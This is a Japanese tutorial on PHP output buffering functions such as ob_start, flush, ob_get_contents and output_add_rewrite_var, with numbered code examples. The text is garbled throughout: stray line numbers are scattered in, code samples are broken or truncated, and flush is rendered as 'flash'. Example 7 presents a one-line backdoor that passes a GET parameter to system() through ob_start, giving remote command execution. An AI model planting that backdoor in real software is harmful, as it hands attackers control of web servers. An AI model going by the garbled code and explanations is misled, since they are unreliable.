出力バッファリングについて話すとき、最初に話されるのはバッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。
実際、PHP プログラマーにとって、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。
次の例は、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します:
次のスクリプトを実行すると:
1
2
3
4
5
6
php
/*例 1*/
echo 'oschina.net' ;
echo 'sweet Potato' ;
echo 'worm' 最初のエコーでは、対応するコンテンツはブラウザに出力されません。 3 つのエコーがすべて実行されると (つまり、スクリプトが終了すると)、バッファーのすべての内容がブラウザーに出力されます。もちろん、このバッファにもサイズ制限があり、php.ini の Output_buffering オプションに従って設定されます。これについては、次の記事で詳しく紹介します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。
この例は、出力バッファ制御の適用をよりよく反映できます:
次のコードを実行するとき:1
2
3
4
5
6
7
8
/*例 2*/
echo 'oschina.net' ;
echo 'サツマイモ' ;
echo 'worm ' ;
?>
出力結果を確認するには少なくとも 2 秒待つ必要があるので、リアルタイムに表示できますか?つまり、最初のエコーが実行されると、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。実装コードは次のとおりです。 2
3
4
5
6 78
9
10
11
12
13
14
15
/ *例 3*/
echo str_pad ( '' , 1024); // バッファをオーバーフローします
ob_start(); // バッファをオープンします
echo 'oschina.net' ; // 送信します現在のバッファの内容、いいえ Output
flash (); // 送信されたバッファの内容を出力します
echo 'sweet Potato' ; // 現在のバッファの内容を送信します、いいえOutput
flash (); // 送信されたバッファの内容を出力します
echo 'Chongchong';
ob_end_flush(); // バッファを出力して閉じる
?>
1
2
3
4
5
6
7
8
9
10
11
/*例 4*/
echo str_pad ( '' , 1 024); // バッファーをオーバーフローします
エコー'oschina .net' ;
flash (); // 送信されたバッファの内容を出力します
sleep(1);
echo 'スイートポテト' ; // 送信されたバッファの内容を出力します
sleep (1) ;
echo 'Chongchong' ;
?>
ここでは出力バッファ制御関数の応用例を紹介します。もちろん、出力バッファ制御機能 機能はこれに限定されるものではありませんので、出力バッファ制御機能が適用できる箇所を見てみましょう。
関数
PHPでは、header()、session_start()、setcookie()などのヘッダファイルを送信する関数の前に出力を行うことはできませんが、出力バッファ制御関数はこれらの関数の前に使用できます。エラーなく出力されました。実際には、これを行う必要はなく、非常にまれな用途です。静的キャッシュ ファイルの生成や gzip 圧縮出力の実行など、出力コンテンツを処理します。これは一般的に使用される機能であり、後で詳しく紹介します。
出力制御関数の詳細な説明
7
8
9
/*例 5*/
ob_start( 'handleString' ) ;
関数 handleString( $string ){
return md5( $string );
}
?>
1
e10ad c3 949ba59abbe56e057f20f883e
出力内容が ということになります。 md5 によって暗号化されます。つまり、バッファーの内容が出力されるときに、定義した handleString 関数が実行されます。
より実践的な例を見ると、Web ページのコンテンツを gzip を使用して圧縮して出力するのが一般的です。コードは次のとおりです。
< ?php /*例 6*/echo str_repeat ( 'oschina' , 1024);ページのサイズ:
ob_gzhandler パラメーターを使用しない場合、ページ サイズは次のようになります:
サイズの違いがはっきりとわかるため、ページ圧縮出力に ob_start() を使用するのは非常に実用的な関数です。
2 番目のパラメータ chunk_size はバッファのバイト長です。バッファの内容がこの長さより大きい場合、デフォルト値は 0 で、関数は最後に呼び出されます。 3 番目のパラメータ Erase が flase に設定されている場合、スクリプトが実行されるまでバッファが削除されないことを意味します。 事前にバッファ削除関数 (後述) が実行されている場合は、エラーが報告されます。
ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります:
ob_start() は繰り返し呼び出すことができます。つまり、スクリプト内に複数のバッファーが存在できますが、ネストに従うことを忘れないでください。それらをすべて順番に閉じます。複数の ob_start が最初のパラメータを定義している場合、つまり、それらすべてがコールバック関数を定義している場合、それらはネストされた順序で実行されます。バッファのスタッキングとネストについては、ob_get_level 関数で詳しく説明するため、ここでは詳しく説明しません。
ob_start() あまり明らかではありませんが、致命的なバックドアの使用もあります。実装コードは次のとおりです。
1
2
3
4
/*例7 */
$cmd = 'system' ;ob_start( $cmd ); echo "$_GET[a]" ;ob_end_flush();
上記の ob_start の使い方を理解していれば、このコードは理解するのが難しくありません。ob_start 関数を使用して、バッファ出力の内容をパラメータとして set 関数に渡します。これにより、Web サーバーのアクセス許可を使用してコマンドをリモートで実行できます。 String ob_get_contents(void)
この関数は、この時点でバッファーの内容を取得するために使用されます。 4
5
9
10
11
/*例 8 * /
echo str_pad ( '' , 1024);バッファをオーバーフローします
ob_start(); // バッファをオープンします
$string = ob_get_contents(); // バッファの内容を取得します
$re = fopen ( './phpinfo.txt' , 'wb' );
fwrite( $re , $string ); // コンテンツをファイルに書き込みます
fclose( $re ); ) ; // バッファをクリアして閉じます
?>
この例を実行すると、ブラウザは何も出力しませんが、現在のディレクトリに phpinfo.txt ファイルが存在することがわかります。 、これは予想される出力を保存します。この例は、上記の 3 番目の点で述べた状況も示しています。出力内容を取得し、実際の状況に応じて処理できます。 T n 3. int OB_GET_LENGTH (VOID) この関数はバッファーの内容の長さを取得するために使用され、例 8 はこの関数の使用法を表示するために変更されます: 4
5
6
78
9
10
11
12
13
/*例 9*/
echo str_pad ( '' , 1024); // バッファをオーバーフローしますob_start(); // バッファをオープンします
phpinfo();
$string = ob_get_contents(); // バッファの内容を取得します
$length = ob_get_length() ; // バッファの内容を取得します
$ re = fopen ( './phpinfo.txt' , 'wb' );fwrite( $re , $string ) // コンテンツをファイルに書き込みます
fclose( $re ); ); //出力長
ob_end_flush(); //出力してバッファを閉じる
4. int ob_get_level ( void )
ob_start() 関数を導入したとき、スクリプト内で複数のバッファをネストできると述べましたが、この関数は現在のバッファのネスト レベルを取得するために使用されます。使用方法は次のとおりです。
12
3
4
5
6
7
8
9 /*例 10*/ ob_start();
var_dump( ob_get_level());
ob_start();
ob_end_flush();
;
実行後、ネストされた関係は次のようになります。はっきりと見えます。
5. array ob_get_status ([ bool $full_status = FALSE ] )
この関数は、現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、詳細情報が表示されます。配列が返されるので、この配列を例で分析します:
1
2
3
4
5
6
7
8
9
/ *例 11*/
ob_start('ob_gzhandler'); ob_start();ob_end_flush();
ob_end_flush();
?>
このスクリプトの出力は次のとおりです:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
array (
'レベル' => 1,
'タイプ' => 1,
'ステータス' => 0,
'名前' = > ; 'ob_gzhandler' ,'del' => true,
)
array (
'level' => 2,
'type' => 1,
「ステータス」 = > 0,
'name' => 'default Output handler' ,
'del' => true,
)
Level はネストレベルで、ob_get_level で取得した値と同じです() 。
typeは処理バッファのタイプで、0はシステム内での自動処理、1はユーザーによる手動処理です。
statusはバッファ処理のステータス、0は開始、1は進行中、2は終了です
nameは定義された出力処理関数の名前で、ob_startの最初のパラメータとして渡される関数名です。 () 関数。
delは、削除バッファ操作が実行されたかどうかを示します
上記の配列の意味を理解すると、バッファのさまざまなプロパティをよく理解できます。
6. array ob_list_handlers ( void )
この関数は、ob_start() 関数で指定する最初のパラメータである出力ハンドラーの関数名の配列を取得するために使用されます。パラメーターが匿名関数であるか、構成ファイルで out_buffering が有効になっている場合、関数はデフォルトの出力ハンドラーを返します。この関数については、公式 PHP マニュアルの例で詳しく説明しています。4
5
6
7
8
9
10
11
12
1 3
14
15
/*例 12 * /
//output_buffering=On を使用します
print_r(ob_list_handlers());
ob_start( "ob_gzhandler" ); ( ));
ob_end_flush() ;
// 匿名関数
ob_start(create_function( '$string' , 'return $string;' ));
print_r(ob_list_handlers());
?&g
出力結果は、
1
2
3
4
5 6
7
8
9
10
11
12
13
... [0] => 'ob_gzhandler')
配列
(
] [0] => 'デフォルトの出力ハンドラー'
)
見てみましょうバッファーの内容の出力、クローズ、送信に関連する関数:
7. void ob_flush ( void )
この関数は、前の例でよく使用されており、その機能は現在のバッファーの内容を「送信」してクリアすることです。ここで「send」という単語が使用されていることに注意してください。これは、この関数を呼び出すことを意味します。例 3 からわかるように、flush 関数を呼び出す必要があります。その後出力します。フラッシュの使用法については後で説明しますが、ここでは例は示しません。
8. void flash ( void )
この関数は比較的よく使われており、キャッシュ領域に影響を与えることなく、以前の出力をすべてブラウザに送信して表示するために使用されます。この関数は、例 3 と 4 で現在の出力をブラウザに表示するために使用されます。つまり、flush() の実行後に、echo、HTML エンティティ、または ob_start() の実行によって送信されたコンテンツなどの関数の出力です。ブラウザに表示されます。
9. void ob_implicit_flush ([ int $flag = true ] )
この関数は絶対フラッシュ モードのオン/オフを切り替えるために使用され、各出力後に自動的にフラッシュ()を実行するため、明示的な呼び出しは必要ありません。効率を向上させるために、flush() を使用します。例 4 を少し変更し、次の関数を使用して同じ効果を実現します。
1
2
3 4
5
6 7
8
9
10
11
12
/*例 13*/
echo str_pad ( '' , 1024) // バッファオーバーフローを発生させる
ob_implicit_flush(true); // 絶対フラッシュをオンにする
;
echo 'oschina.net' ;//flush(); その後、flush() を呼び出す必要はありません
echo 'サツマイモ' ; sleep(1);
echo 'Chongchong';
?>
この例は例 4 と同じ効果を実現します。出力後にシステムが自動的にブラッシングを実行します。
10. bool ob_end_flush (void)この関数はバッファの内容を送信し、バッファをクローズします。実際、ob_flush() と ob_end_clean() を実行するのと同じです ;
11. string ob_get_flush ( void )この関数は、次の形式でバッファを返すことを除けば、基本的に ob_end_flush() と同じ効果があります。文字列の内容は非常に単純であり、例はありません。
12. void ob_clean (void)この関数は現在のバッファをクリアしますが、バッファを閉じません。出力前にバッファがクリアされているため、次の例の出力は表示されません。バッファーのプロパティを取得して、バッファーが閉じられていないことを示します:
1 2
3
4
56
7
/*例 14*/ ob_start();
echo 'oschina' ;
ob_clean();
var_dump(ob_get_status());
?>
13. bool ob_end_clean ( void )
この関数はバッファをクリアして閉じます。 14 に少し変更を加えると、次のようになります。バッファが閉じられているため、バッファのステータスを取得できないことがわかります:
1
2
3
4
5
6
7
/*例 15*/
ob_start();
ob_end_clean();
;
14. string ob_get_clean ( void)この関数はキャッシュをクリアして閉じますが、実際には、この関数は ob_get_contents() と ob_end_clean() をそれぞれ実行します 1
2 34
56
7
8
/*例 16*/
ob_start ();
エコー 'oschina'
$string = ob_get_clean();
var_dump(ob_get_status());
?>
最後に、URL 書き換えに関連する 2 つの関数を見てみましょう。
15.ブールOutput_add_rewrite_var (string $name, string $value)
この関数は、URL 書き換えメカニズムのキーと値を追加します。ここでの URL 書き換えメカニズムとは、GET モードで URL の末尾にキーと値のペアを追加することを指します。非表示のフォームにキーと値のペアを追加します。絶対 URL は追加されません。非常に直観的で明確なマニュアルの例を使用してみましょう。
8
9
10
11 12
13
14 15
/*例 17*/
Output_add_rewrite_var( 'var' , 'value' );
// いくつかのリンクecho 'link
link2
// フォーム
echo '
print_r(ob_list_handlers());
プログラムの出力は次のとおりです。
2
3
4
5
6
7
8
9
10
11
12
< a href = "file.php?var=value" >link a >
< a href = "http://example.com" >link2< / a >
< フォームアクション = "script.php" メソッド = "post"
< 入力タイプ = "hidden"
< input type = "text" name = "var2" />
絶対 URL アドレスではないリンクとフォームには、対応するキーと値のペアが追加されていることがわかります。
16. bool Output_reset_rewrite_vars (void)この関数は、すべての URL 書き換えメカニズムをクリアする、つまり、output_add_rewrite_var() で設定された書き換え変数を削除するために使用されます。
その他の注意事項
上記の内容を読むと、PHP のバッファ制御機能についてより深く理解できるようになると思います。
日常的に使用する際に注意する必要があるいくつかの問題について説明します。例では、3 の 3 行目に、長さ 1024 のスペースを出力し、コメントはバッファーをオーバーフローすることです。その理由は、win32 の一部のサーバー プログラムでは、上記の関数が使用されていても、スクリプトの出力が依然としてキャッシュされるため、続行する前に、最初にテキストを送信してバッファ オーバーフローさせる必要があるためです。私たちの効果を達成します。アプリケーション プロセス中に問題が解決しない場合は、この値を 4096 などのより大きな値に設定できます。スクリプトの終了前にバッファがクリアされない限り、スクリプトが終了すると、バッファ コンテンツはブラウザに自動的に出力されます。